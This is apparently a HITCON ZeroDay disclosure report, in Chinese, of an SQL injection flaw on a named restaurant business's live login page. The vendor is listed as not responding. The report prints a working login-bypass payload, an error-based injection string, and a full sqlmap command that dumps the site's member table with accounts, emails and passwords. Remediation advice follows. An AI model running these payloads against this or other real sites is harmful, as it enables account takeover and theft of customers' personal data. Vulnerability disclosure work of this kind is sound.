富狀元豬腳 登入畫面 存在 SQL Injection 漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-01338
  •  發信 Vendor: 富狀元豬腳
  • Title: 富狀元豬腳 登入畫面 存在 SQL Injection 漏洞
  • Introduction: 登入畫面 存在 SQL Injection 漏洞

處理狀態

目前狀態

公開
Last Update : 2025/12/15
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/10/15 12:50:42 : 新提交 (由 numb2 更新此狀態)
  • 2025/10/15 15:58:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/10/17 13:45:56 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/10/17 13:45:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/10/17 13:45:56 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/12/15 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-01338
  • 通報者:numb2Too (numb2)
  • 風險:嚴重
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.fu-deka.com/login.php

敘述

透過

aa' OR 1=1; -- 

可登入成功
圖片
圖片

' AND extractvalue(1, concat(0x7e, (select database()), 0x7e)) -- 

獲取database與table以及帳號密碼欄位訊息

Invalid SQL: SELECT * FROM member WHERE account = '' AND extractvalue(1, concat(0x7e, (select database()), 0x7e)) -- ' and password = '08f8e0260c64418510cefb2b06eee5cd'  AND active = 1 <br>

: 1105 (XPATH syntax error: '~jakry_fudeka~')<br>
Please contact us [<a href="mailto:[email protected]">[email protected]

圖片

sqlmap -u "https://www.fu-deka.com/r_login.php?c1=aaa&c2=bbb" --batch --random-agent -p c1 -D "jakry_fudeka" -T "member" -C "account,name,email,password,passwords" --where "name <> ''" --dump

獲取會員資料
圖片

使用任意會員帳號無需密碼可登入成功
圖片
圖片

影響:
會員敏感資料洩漏

修補建議

1. 立刻暫時下線或封鎖 vulnerable 登入頁面
若無法下線:在 WAF 或 webserver 加規則封掉可疑輸入(短期緩解)。
2. 停止使用儲存明文密碼的欄位(passwords)
立即停止寫入該欄位(deploy 變更),把欄位標為「不可讀/不可用」。
若可能,先備份後再刪除欄位:
ALTER TABLE users RENAME COLUMN passwords TO passwords_backup;
-- 確認無用後再 DROP
3. 修掉 SQL injection(核心)——改用準備語句(Prepared Statements)
PHP PDO 範例(最簡):
$stmt = $pdo->prepare('SELECT id, password_hash FROM users WHERE username = :username LIMIT 1');
$stmt->execute([':username' => $username]);
任何 SQL 都不要用字串接 "$username"。
4. 把密碼改成安全雜湊(不要 MD5、不要明文)
PHP 直接用內建:
$hash = password_hash($plain, PASSWORD_ARGON2ID); // 優先
password_verify($input, $hash);
若目前資料庫有明文:發送一次性密碼重設(強烈建議)或在下次登入時趁機 migrate。
5. 限制資料庫帳號權限(Least Privilege)
應用程式 DB 帳號只給需要的 SELECT/INSERT/UPDATE on 特定表,不給 DROP / SHOW DATABASES / GRANT 等管理權限。
6. 開啟並檢查日誌、通告事件響應
打開 web + DB 查詢日誌,找出可疑大量 SELECT。
若懷疑已外洩,啟動 incident response 並通知管理/法務。
7. 改進登入錯誤訊息與限制
錯誤訊息統一:「帳號或密碼錯誤」。
加登入速率限制、鎖帳、並考慮啟用 MFA。

以上AI建議

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;